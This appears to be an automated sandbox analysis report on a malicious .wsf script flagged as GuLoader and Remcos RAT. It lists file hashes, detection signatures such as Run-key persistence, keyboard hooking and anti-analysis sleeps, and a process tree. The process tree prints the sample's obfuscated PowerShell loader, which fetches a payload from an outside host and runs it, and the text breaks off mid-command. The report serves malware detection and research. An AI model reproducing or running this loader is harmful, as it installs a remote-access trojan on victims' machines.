Edit tour
Windows
Analysis Report
rOferta_SKGNMECLemnedefinitionen353523577.wsf
Overview
General Information
| Sample name: | rOferta_SKGNMECLemnedefinitionen353523577.wsf |
| Analysis ID: | 1429076 |
| MD5: | ed7122bfc1517425a483908cff86d950 |
| SHA1: | d71986894ac69f6958f3e126bec9eaabea50fa5c |
| SHA256: | 813142e22c4d2a79a49e1f96a9bea8b14e13a67eb9d35922b5ac0b88b33aec6a |
| Tags: | wsf |
| Infos: |   |
 | |
Detection
GuLoader, Remcos
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Remcos RAT
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Installs a global keyboard hook
Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Sleep loop found (likely to delay execution)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 2532 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\rOfer ta_SKGNMEC Lemnedefin itionen353 523577.wsf " MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 6256 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$Filstand arder = 1; $Uroglena= 'Substrin' ;$Uroglena +='g';Func tion Sarpe don($Histo ricoprophe tic){$Nonm obile=$His toricoprop hetic.Leng th-$Filsta ndarder;Fo r($Hyleton er=4; $Hyl etoner -lt $Nonmobil e; $Hyleto ner+=(5)){ $Rhythms+= $Historico prophetic. $Uroglena. Invoke($Hy letoner, $ Filstandar der);}$Rhy thms;}func tion Busse mnd($revis ionsinstit uts){. ($Kokette n) ($revis ionsinstit uts);}$Whe ens=Sarped on 'S.ikMO psgoOrphz MapiIn.al. reelAguraN ona/Spid5I ndp. sy0An gi T.ef(R ktWRecoiDy knn CoddCa rbo,etywCh ecsCalc Te etNPareTRe pl Unf 1Wi nt0Judo.Er ma0Pign;Ti lr oxoWBol iiArnonfim r6Desi4S,r v;,and olk xForr6F,la 4 .ep; Sup ServrB he vClaw:Reva 1Gr,n2Brac 1Halo.lept 0Poic)s.ep VolaG Mi. eKhmecPhot kCra oFora /Yok 2File 0Sgen1Dupl 0 Va.0To,e 1Ench0Fern 1Peri o ha F,ophiL.ng rBur.eFlee fMeseoDeka xFran/Bias 1H.te2Kand 1Alph.Term 0Opla ';$C oeducation alism=Sarp edon 'forf UUn.esBeew e dlirBor. - StaA Adv gPol,eVin, nKlgetVejs ';$skppes kn=Sarpedo n ' lodh,o rst.ultt N edpJust: , ym/Fru /Un es8 La 7 T el.Reli1Co nc2Nons1P. ot. Ans1Ka nv0 ede5Da mp.ph r1Ma tr6Chan3Be ha/ CouBIn dfe,owelUe ueyFortvDa .neAmpesAf to2N,np4 A pp2 M,r.No n,hUdkehAg g,kSop. '; $hyperakti vitet=Sarp edon 'Poly > tue ';$K oketten=Sa rpedon 'Bu nki At.eOv rxAuto '; $Brugermss ige = Sarp edon ',daa e C,lcfrit hMedio and ,eva% nda ,agop.ortp MacrdRevia L,vntK lia oku%Paus\ MellS Pron JujueRotog SpullPerie ValvfPolya EpaprHydrt Opi..EngeG Til lJmspo Bge, Tge&N ong&dime P utoe hatcU nrehperioS pi, Bedu$. pro ';Buss emnd (Sarp edon 'Sort $Fremg Aus lDomfoPhil bShataTrev lInde:Fo.l KBrataH,mi a ,orrMusi dEupae.ord sFlek=G,an (BefrcEn p mPseudEque urn/R dac E,cu Pend$ GemBRul,r Antiu F.rg H gte Hy.r YankmOutps Elecs rtei FatcgNon.e sto)Forr ');Bussemn d (Sarpedo n 'Span$.y angFluelSa rdoMalebKo nsaTeknl A mt:SengS l u,t,atorEk lee Sann E .tgMatteUd dak TigoSk abrrandeno ncnUn dePe pp=Slag$Su bss Ar kSp ispTuftpRk e eKodrs G ehk ,etnFr ys.ShavsDe mopLongl J uviAflotFo s(Proc$Ta phhFarsyHa ttpPreoe G err PosaE, idkKisstan nuiNonmvRt ssiAscetHa wkeVelutEp it)V.rs ') ;$skppeskn =$Strengek orene[0];B ussemnd (S arpedon 'r te$SusbgP ak l ElloA dvibProga OpelK,nt:B y,tTF acoC horsButisM ysteHalvhU nheoUngkvC opseIndbd russtota=T ilvNOmrye PubwPse -P honOEpitbT ra,jHardeR eamcWh.ttB est RondS Be.ystips PertomgreJ oinmAm.i. ArbN iffe ,let,ens. conWExc.eS ntb GedCO ve,lSpriiG umme DatnB cktRaad ' );Bussemnd (Sarpedon 'Sani$Cla ,TNumsoFej lshymnsPe. ge Anhh Fo ro ubov De ceLamidAfl ysUdfl.ned gHSvikeRom aaU,dedDic teUninrImp isSkul[Cl. v$ tynCFin aoOpskeD c rdUpupu .r icSelva Md etPa liVin